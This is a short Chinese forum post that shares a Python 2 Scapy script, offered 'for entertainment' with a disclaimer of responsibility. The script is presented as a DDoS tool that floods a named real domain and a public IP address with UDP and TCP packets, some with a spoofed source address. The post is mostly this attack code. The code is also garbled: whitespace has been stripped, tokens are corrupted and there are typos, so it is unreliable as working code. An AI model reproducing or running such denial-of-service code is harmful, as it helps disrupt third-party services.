用户:
魏怡然查看:0 回复:0 评论:0 创建时间:2022-05-07T21:54:15
仅供娱乐(免责声明:使用造成的任何后果本人概不负责) Python代码: #-*-coding:'utf-8'-*-importtimeimportstructfromthreadingimport*importsocketfromscapy.allimport*start=time.time()screenlock=Semaphore(value=1000)print'[^]HAQDDOsstart!'defDDos():try:print'[*]SecondlayersofDDos's=srp(IP(dst="www.dgjy.net",ttl=480)/UDP())#第二层攻击prints[0].show()exceptException,e:print'[-]Thecauseofthemistake{}'.format(e)try:print'[*]ThirdlayerDDos'p=srloop(IP(dst="www.dgjy.net",ttl=160)/UDP())#第三层攻击printp[0].show()exceptException,s:print'[-]Thecauseofthemistake{}'.format(s)try:print'[*]Repeatedattacks'see=srp(IP(dst="113.108.127.169")/T喵(dport=[80,443]))#重复攻击printsee[0].show()exceptException,f:print'[-]Thecauseofthemistake{}'.format(f)try:data=struct.pack('=BHI',0x96,20,1000)pkt=IP(src='192.168.225.141',dst='113.108.127.169')/UDP(sport=12345,dport=[80,443])/dataprint'[*]DDoSattacksarebeingcarriedout!'screenlock.acquire()send(pkt,inter=1,count=160)exceptException,g:print"[-]Thecauseofthemistake{}".format(g)try:print'[*]DDos'gp=sr1(IP(dst="www.dgjy.net",tll=(1,160))/UDP())exceptException,i:print'[-]causeofthemistake{}'.format(i)t=Thread(target=DDos,args=())t.start()end=time.time()print'[!]Timeconsumingofthisprogram,Thefirsttimeistheinitializationtime:',end-start